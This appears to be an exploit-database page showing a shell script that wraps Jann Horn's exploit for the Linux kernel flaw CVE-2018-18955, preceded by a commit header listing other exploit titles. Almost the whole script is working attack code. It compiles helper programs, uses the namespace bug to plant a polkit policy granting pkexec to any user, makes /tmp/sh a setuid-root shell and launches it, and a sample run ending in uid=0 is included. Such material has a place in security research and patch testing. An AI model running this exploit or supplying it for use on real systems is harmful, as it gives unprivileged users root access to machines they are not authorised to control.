6f49190671
19 changes to exploits/shellcodes pdfresurrect 0.15 - Buffer Overflow Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Privilege Escalation Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Local Privilege Escalation Serv-U FTP Server < 15.1.7 - Local Privilege Escalation Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1) Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (cron Method) Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (dbus Method) Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (ldpreload Method) Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (polkit Method) Linux Kernel 4.8.0-34 < 4.8.0-45 (Ubuntu / Linux Mint) - Packet Socket Local Privilege Escalation Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation VMware Workstation/Player < 12.5.5 - Local Privilege Escalation S-nail < 14.8.16 - Local Privilege Escalation Deepin Linux 15 - 'lastore-daemon' Local Privilege Escalation Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2) ASAN/SUID - Local Privilege Escalation Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation Ovidentia 8.4.3 - SQL Injection Moodle Filepicker 3.5.2 - Server Side Request Forgery Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution (Metasploit) Ahsay Backup 7.x - 8.1.1.50 - XML External Entity Injection
120 lines
No EOL
3 KiB
Bash
Executable file
120 lines
No EOL
3 KiB
Bash
Executable file
#!/bin/sh
|
|
#
|
|
# EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47167.zip
|
|
#
|
|
# wrapper for Jann Horn's exploit for CVE-2018-18955
|
|
# uses polkit technique
|
|
# ---
|
|
# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.polkit.sh
|
|
# [*] Compiling...
|
|
# [*] Creating /usr/share/polkit-1/actions/subuid.policy...
|
|
# [.] starting
|
|
# [.] setting up namespace
|
|
# [~] done, namespace sandbox set up
|
|
# [.] mapping subordinate ids
|
|
# [.] subuid: 165536
|
|
# [.] subgid: 165536
|
|
# [~] done, mapped subordinate ids
|
|
# [.] executing subshell
|
|
# [*] Launching pkexec...
|
|
# [+] Success:
|
|
# -rwsrwxr-x 1 root root 8384 Dec 29 14:22 /tmp/sh
|
|
# [*] Cleaning up...
|
|
# [*] Launching root shell: /tmp/sh
|
|
# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
|
|
# uid=0(root) gid=0(root) groups=0(root),1001(test)
|
|
|
|
rootshell="/tmp/sh"
|
|
policy="subuid.policy"
|
|
|
|
command_exists() {
|
|
command -v "${1}" >/dev/null 2>/dev/null
|
|
}
|
|
|
|
if ! command_exists gcc; then
|
|
echo '[-] gcc is not installed'
|
|
exit 1
|
|
fi
|
|
|
|
if ! command_exists /usr/bin/pkexec; then
|
|
echo '[-] pkexec is not installed'
|
|
exit 1
|
|
fi
|
|
|
|
if ! command_exists /usr/bin/newuidmap; then
|
|
echo '[-] newuidmap is not installed'
|
|
exit 1
|
|
fi
|
|
|
|
if ! command_exists /usr/bin/newgidmap; then
|
|
echo '[-] newgidmap is not installed'
|
|
exit 1
|
|
fi
|
|
|
|
if ! test -w .; then
|
|
echo '[-] working directory is not writable'
|
|
exit 1
|
|
fi
|
|
|
|
echo "[*] Compiling..."
|
|
|
|
if ! gcc subuid_shell.c -o subuid_shell; then
|
|
echo 'Compiling subuid_shell.c failed'
|
|
exit 1
|
|
fi
|
|
|
|
if ! gcc subshell.c -o subshell; then
|
|
echo 'Compiling gcc_subshell.c failed'
|
|
exit 1
|
|
fi
|
|
|
|
if ! gcc rootshell.c -o "${rootshell}"; then
|
|
echo 'Compiling rootshell.c failed'
|
|
exit 1
|
|
fi
|
|
|
|
echo "[*] Creating /usr/share/polkit-1/actions/${policy}..."
|
|
|
|
echo '<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE policyconfig PUBLIC
|
|
"-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN"
|
|
"http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd">
|
|
<policyconfig>
|
|
<action id="org.freedesktop.policykit.exec">
|
|
<defaults>
|
|
<allow_any>yes</allow_any>
|
|
<allow_inactive>yes</allow_inactive>
|
|
<allow_active>yes</allow_active>
|
|
</defaults>
|
|
</action>
|
|
</policyconfig>' > "${policy}"
|
|
|
|
echo "cp ${policy} /usr/share/polkit-1/actions/${policy}" | ./subuid_shell ./subshell
|
|
|
|
if ! test -r "/usr/share/polkit-1/actions/${policy}"; then
|
|
echo '[-] Failed'
|
|
/bin/rm "${rootshell}"
|
|
exit 1
|
|
fi
|
|
|
|
echo "[*] Launching pkexec..."
|
|
|
|
/usr/bin/pkexec --disable-internal-agent 2>/dev/null /bin/sh -c "/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}"
|
|
|
|
if ! test -u "${rootshell}"; then
|
|
echo '[-] Failed'
|
|
/bin/rm "${rootshell}"
|
|
exit 1
|
|
fi
|
|
|
|
echo '[+] Success:'
|
|
/bin/ls -la "${rootshell}"
|
|
|
|
echo '[*] Cleaning up...'
|
|
/bin/rm subuid_shell
|
|
/bin/rm subshell
|
|
/bin/rm "${policy}"
|
|
echo "/bin/rm /usr/share/polkit-1/actions/${policy}" | $rootshell
|
|
|
|
echo "[*] Launching root shell: ${rootshell}"
|
|
$rootshell |